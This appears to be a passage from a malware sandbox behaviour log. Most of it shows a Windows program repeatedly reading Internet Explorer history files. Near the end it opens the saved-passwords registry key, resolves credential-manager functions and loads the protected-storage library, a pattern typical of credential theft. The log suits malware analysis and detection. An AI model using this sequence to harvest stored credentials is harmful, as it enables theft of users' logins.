File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\History.IE5\MSHist012017083120170901\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Create | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE | 1 |
Fn
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 32, size_out = 32 | 1 |
Fn
Data
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, type = size | 1 |
Fn
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 8, size_out = 8 | 2 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 384, size_out = 384 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 8, size_out = 8 | 7 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 8, size_out = 8 | 2 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 384, size_out = 384 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 8, size_out = 8 | 27 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat, size = 8, size_out = 8 | 26 |
Fn
Data
|
|
File | Create | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017070520170706\index.dat, desired_access = GENERIC_READ, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE | 1 |
Fn
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017070520170706\index.dat, size = 32, size_out = 32 | 1 |
Fn
Data
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017070520170706\index.dat, type = size | 1 |
Fn
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017070520170706\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017070520170706\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017070520170706\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017070520170706\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017070520170706\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017070520170706\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017070520170706\index.dat, size = 8, size_out = 8 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017070520170706\index.dat, size = 256, size_out = 256 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\History\Low\History.IE5\MSHist012017070520170706\index.dat, size = 8, size_out = 8 | 88 |
Fn
Data
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat, type = file_attributes | 1 |
Fn
|
|
File | Get Info | filename = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\WebCache\WebCacheV24.dat, type = file_attributes | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2 | 1 |
Fn
|
|
Module | Load | module_name = advapi32.dll, base_address = 0x76030000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CryptAcquireContextA, address_out = 0x760391dd | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CryptReleaseContext, address_out = 0x7603e124 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CryptCreateHash, address_out = 0x7603df4e | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CryptGetHashParam, address_out = 0x7603df7e | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CryptHashData, address_out = 0x7603df36 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CryptDestroyHash, address_out = 0x7603df66 | 1 |
Fn
|
|
Module | Load | module_name = advapi32.dll, base_address = 0x76030000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CredReadA, address_out = 0x760771c1 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CredFree, address_out = 0x7603b2ec | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CredDeleteA, address_out = 0x76077941 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CredEnumerateA, address_out = 0x76077381 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = CredEnumerateW, address_out = 0x76077481 | 1 |
Fn
|
|
Module | Load | module_name = pstorec.dll, base_address = 0x72810000 | 1 |
